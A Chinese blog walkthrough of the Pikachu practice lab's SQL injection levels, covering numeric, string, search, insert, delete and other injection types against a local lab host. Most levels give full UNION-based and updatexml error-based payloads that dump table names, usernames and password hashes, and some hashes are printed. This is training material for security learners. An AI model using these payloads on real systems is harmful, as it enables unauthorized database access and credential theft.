pikachu靶场之SQL注入

前言:

个人觉得SQL注入还是挺难的,关键点在于找SQL语句的闭合,文章会比较长,要是能一关一关对着看的话,会对你有不少好处滴!!!当然啦,手搓重要,学会用sqlmap也是挺重要的哦,主要是我还不会~

思路:

第一步:

我觉得是确定这个语句的注入点是GET注入还是POST注入还是其他的像cookie注入,因为要是传参方式都搞错了,那还想注入多半是不大可能了。

第二步:

确定传参的类型,用来寻找闭合,这边感觉到自己讲的不是很清楚或者是学的也不好,给各位找了篇文章看看,这边建议看下去之前先看这个文章:SQL注入原理及如何判断闭合符_sql注入判断闭合-CSDN博客

第三步:

爆数字,换句话说就是报错,寻找合适的注入点

使用的基本语句是:
1:闭合+order by n+ #
2:闭合+order by n+ %23
3:闭合+order by n+ --+
这里的#  %23  --+都是注释符的意思,n就是爆数字用的

第四步:

爆数据库,版本等,只有找到了对应的数据库,才能知道用什么样的注入语句来获取更多的信息

第五步:

爆表名,找到对应的表

第六步:

爆列名,找到对应的列

最后一步:

爆账号密码之类的信息

再插一句:设置靶场的人已经告诉我们数据库是mysql了

那现在就开始我们的解题啦!!!

第一关:

1、确定POST or GET

反正以来就看到个查询,随便找了个id查询发现没啥有用的信息,URL上好像也没啥好注入的,暂时推测是POST,传参,这个时候就抓包试试

抓包

那我们现在就可以确定是POST传参了,这边的建议是转去火狐的hackbar测试,当然,直接用bp也是可以的

2、找闭合

因为我们这里的报错是没有\的,所以我们按照第二种方式来找报错

一个引号:

两个引号:

那就可以确定是数字型的啦

3、直接爆数字:

使用语句:id=2 order by 3%23&submit=%E6%9F%A5%E8%AF%A2

说明3太大了

这个时候就从3依次减一测试

这就说明有两列可以测试注入点

4、现在就是注入点的时候了

使用语句:id=2 union select 1,2# &submit=%E6%9F%A5%E8%AF%A2

其实能很明显的看出1,2都是注入点,那就可以在这两个地方随便挑一个注入,两个一起也可以

5、现在就是爆数据库和版本了,其实版本不是特别特别重要,主要是爆数据库

使用语句:id=2 union select database(),2# &submit=%E6%9F%A5%E8%AF%A2

还是可以很明显的看出数据库是pikachu的,想想也正常

6、现在就是爆表名了

使用语句:id=2 union select group_concat(table_name),2 from information_schema.tables where table_schema ='pikachu'# &submit=%E6%9F%A5%E8%AF%A2

可以看到哇,好多表名,有兴趣的小伙伴可以一个个试试,那我就直接说啦,账号密码在users里,其实也正常了

7、爆列名

使用语句:id=2 union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema ='pikachu'# &submit=%E6%9F%A5%E8%AF%A2

其实爆列名和爆表名的语句十分类似的

8、那现在我们就可以查列名下面的信息了,也就是username和password

使用语句:id=2 union select username,password from users# &submit=%E6%9F%A5%E8%AF%A2

密码这边还用了加密,看得出来是md5加密,拿去网站解密即可,这里我就不解密了

hello,allen
your email is: allen@pikachu.com

hello,admin
your email is: e10adc3949ba59abbe56e057f20f883e

hello,pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd

hello,test
your email is: e99a18c428cb38d5f260853678922e03

小结一下:看到这里的小伙伴,应该对SQL注入的这个流程有了大致的了解,那我们接下来就加速闯关

第二关:

1、确定POST or GET

看到个查询按钮,那就随便输入点啥查询就好了

结果如图:

一看,就知道,属于GET传参

2、找闭合

我个人觉得找闭合是最难的,也是最不好讲的,这边就是根据经验来的,可以看出,这题查的username,用户名一般都是由数字,字符,字母构成的,因此推测出该数据类型是字符型的,那我们就根据字符型的闭合来,我觉得找闭合就是在于尝试,所以我们还是多试试

一个引号:报错

两个引号:不报错

一个引号--+:不报错

那就可以判断是单引号闭合了

3、爆数字:

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_str.php?name=1' order by 2--+&submit=%E6%9F%A5%E8%AF%A2

3的时候报错,那就试试2

2不报错,那就是2了

4、爆注入点

显而易见,1,2都是注入点

5、爆数据库名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_str.php?name=111'union select 1,2%23&submit=%E6%9F%A5%E8%AF%A2

也是pikachu

6、爆表名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_str.php?name=111'union select group_concat(table_name),2 from information_schema.tables where table_schema ='pikachu'%23&submit=%E6%9F%A5%E8%AF%A2

和前面的可以说是如出一辙

7、爆列名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_str.php?name=111'union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema ='pikachu'%23&submit=%E6%9F%A5%E8%AF%A2

8、爆账号密码

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_str.php?name=111'union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2

小结:那第二关就到此结束咯,其实可以发现,只要把闭合找到了,那其他的就是套路了

第三关:

1、确定POST or GET

我觉得还是挺明显的哈,是POST型

2、找闭合

找闭合不能太死板了,不能完全看那个文章,像这里,我们还需要注意报错里的%

推测闭合为 %'  验证一下

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_search.php?name=111%' %23&submit=%E6%90%9C%E7%B4%A2

看来没问题

3、爆数字

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_search.php?name=111%' order by 4 %23&submit=%E6%90%9C%E7%B4%A2

3的时候可以,那就试试4

4的时候不行了,那接下来的套路就和之前一毛一样了

4、爆注入点

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_search.php?name=111%' union select 1,2,3 %23&submit=%E6%90%9C%E7%B4%A2

说明3列都可以爆出信息来

5、爆数据库名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_search.php?name=111%' union select database(),2,3 %23&submit=%E6%90%9C%E7%B4%A2

6、爆表名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_search.php?name=111%' union select group_concat(table_name),2 ,3 from information_schema.tables where table_schema ='pikachu' %23&submit=%E6%90%9C%E7%B4%A2

7、爆列名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_search.php?name=111%' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users' and table_schema ='pikachu' %23&submit=%E6%90%9C%E7%B4%A2

8、爆账号密码

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_search.php?name=111%' union select username,password,3 from users%23&submit=%E6%90%9C%E7%B4%A2

看到现在的小伙伴对SQL注入的原理应该是了解加深了不少,那接下来就加速加速!!!

第四关:

好一个XX型注入,依照按套路来

1、确定POST or GET

依旧是GET传参

2、找闭合

还是那句话,找闭合是重中之重,真的是难找

但是多少还是能猜出来点,这关闭合与)有关,试了试闭合为'),说实话,有点碰运气的,我的建议是多做点题,验证

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_x.php?name=1111')%23&submit=%E6%9F%A5%E8%AF%A2#

3、爆数字

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_x.php?name=1111') order by 3%23&submit=%E6%9F%A5%E8%AF%A2#

试试2

但是这边有点不一样的是,这边没有回显哪一列是可以注入的,反正就两列,试试就好了

4、爆注入点

5、爆数据库名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_x.php?name=1111') union select database(),version() %23 &submit=%E6%9F%A5%E8%AF%A2#

这边顺便把数据库名和版本爆出来了,不过版本在这里没啥用就是了,发现两列都是可以注入的,那接下来就是套路啦
6、爆表名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_x.php?name=1111')  union select group_concat(table_name),2  from information_schema.tables where table_schema ='pikachu' %23 &submit=%E6%9F%A5%E8%AF%A2#


7、爆列名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_x.php?name=1111')  union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema ='pikachu' %23 &submit=%E6%9F%A5%E8%AF%A2#


8、爆账号密码

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_x.php?name=1111')  union select username,password from users %23 &submit=%E6%9F%A5%E8%AF%A2#

也是成功的出来了

第五关:

insert:

插入型和之前的差别挺大的,之前的都可以用联合语句注入,这个不行,这个使用报错注入

这边首先要确认的是,哪里的按钮是注入点,一开始的页面是有个登录的,抓包发现有个传参的地方,是GET方式传参的,但是你注册账号也是有个按钮的,抓包后发现这个按钮是POST传参的,这个时候就要考虑到插入,即insert,这个的意思就是插入一个语句到数据库里,那基本可以确定是在注册账号那边的按钮是注入的地方,感觉自己讲的不是很明白,大家也可以看看这个文章SQL注入 (中级篇)Insert注入_sql注入 insert into-CSDN博客,那接下来就可以做题了

1、确定POST or GET

经过上面的分析可以确定是POST传参,这边提供截图给大家看


2、找闭合

又到了找闭合的环节哇,真难找

使用语句:
username=1','2','3','4','5','6')%23&password=1&sex=&phonenum=&email=&add=&submit=submit

看报错来试,说一下我怎么找的吧,我就是把上图中1后面的全部加到post传参那里,一个一个的删除试

就这样,然后一一个一个的删除,然后就发现了这个

根据提示,可以推测出闭合成功了,就是数据太少了,加上去也行


3、爆数据库名

报错注入是不需要爆数字的和爆输入点的,直接到爆数据库名

报错注入也是挺经典的,语句我也是网上找到修改一下就好了,有个需要注意的点,就是or 和and有时候需要互相转换一下,有时候or不报错,有时候and不报错,互换一下即可

使用语句:
username=1'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '%23&password=1&sex=&phonenum=&email=&add=&submit=submit


4、爆表名

这边就是要把or换成and

使用语句:
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,0x7e),1) and  '&password=1&sex=&phonenum=&email=&add=&submit=submit


5、爆列名

使用语句:
username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),1,0x7e),1) and  '&password=1&sex=&phonenum=&email=&add=&submit=submit


6、爆账号密码

使用语句:
username=1' and updatexml(1,concat(0x7e,(select group_concat(username,';',password) from users),1,0x7e),1) and  '&password=1&sex=&phonenum=&email=&add=&submit=submit

小结:我觉得和前面相比可能简单点,毕竟少了几个步骤,但是构造语句变难了,学会了之后也还好

update:

更新嘛,那肯定是对个人资料进行更新啦

1、确定POST or GET

很明确,是POST传参

2、找闭合

难难难难,而且我这个好像有点问题,怎么试都不报错,下面框起来的一点进去就有了,这里我就看别人的文章找的闭合了,直接进入下一步

3、爆数据库名

然后我发现用别人一毛一样的语句我都没报错,我也不知道哪有问题,这里就推荐个别人的了

pikachu SQL注入 (皮卡丘漏洞平台通关系列)_pikachu\vul\sqli/sqli_del.php-CSDN博客

看完她的还要回来的哈

第六关:

delete

1、确定POST or GET

先留言,然后就删除操作,发现url没变化,那多半是POST了,抓包验证

不过这里还有点不一样哈,是GET传参

2、找闭合

一个引号和两个引号都报错,那就是数字型的了

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_del.php?id=1''%23

3、爆数据库名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_del.php?id=1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)%23

4、爆表名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_del.php?id=1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,0x7e),1)%23

5、爆列名

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_del.php?id=1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),1,0x7e),1)%23

6、爆账号密码

使用语句:
http://192.168.159.128/pikachu/vul/sqli/sqli_del.php?id=1 or updatexml(1,concat(0x7e,(select group_concat(username,';',password) from users),1,0x7e),1)%23

小结:到这里还行哈

第七关:

emmmm我也没学过,就给大家找了个文章一起了解了解

网络安全——HTTP头部注入_http头注入-CSDN博客

看完了应该也是可以做的

就一个login,啥信息也没有,那就先抓包试试

不过这个就不用确定啥POST or GET了,就就在http头里测试

1、找闭合

直接找闭合,测试了一下发现这个http头还不能在bp里改,那就转去谷歌或者是bing,一个插件叫ModHeader,可以改头,但是我好像没学会怎么操作,下一关吧pikachu SQL注入 (皮卡丘漏洞平台通关系列)_pikachu\vul\sqli/sqli_del.php-CSDN博客

还是看看这个吧,鄙人确实学艺不精。

后面三关对我来说比较复杂,因此学了一下sqlmap的使用,让它去跑,它跑不了我就跑路了

  • 36
    点赞
  • 62
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值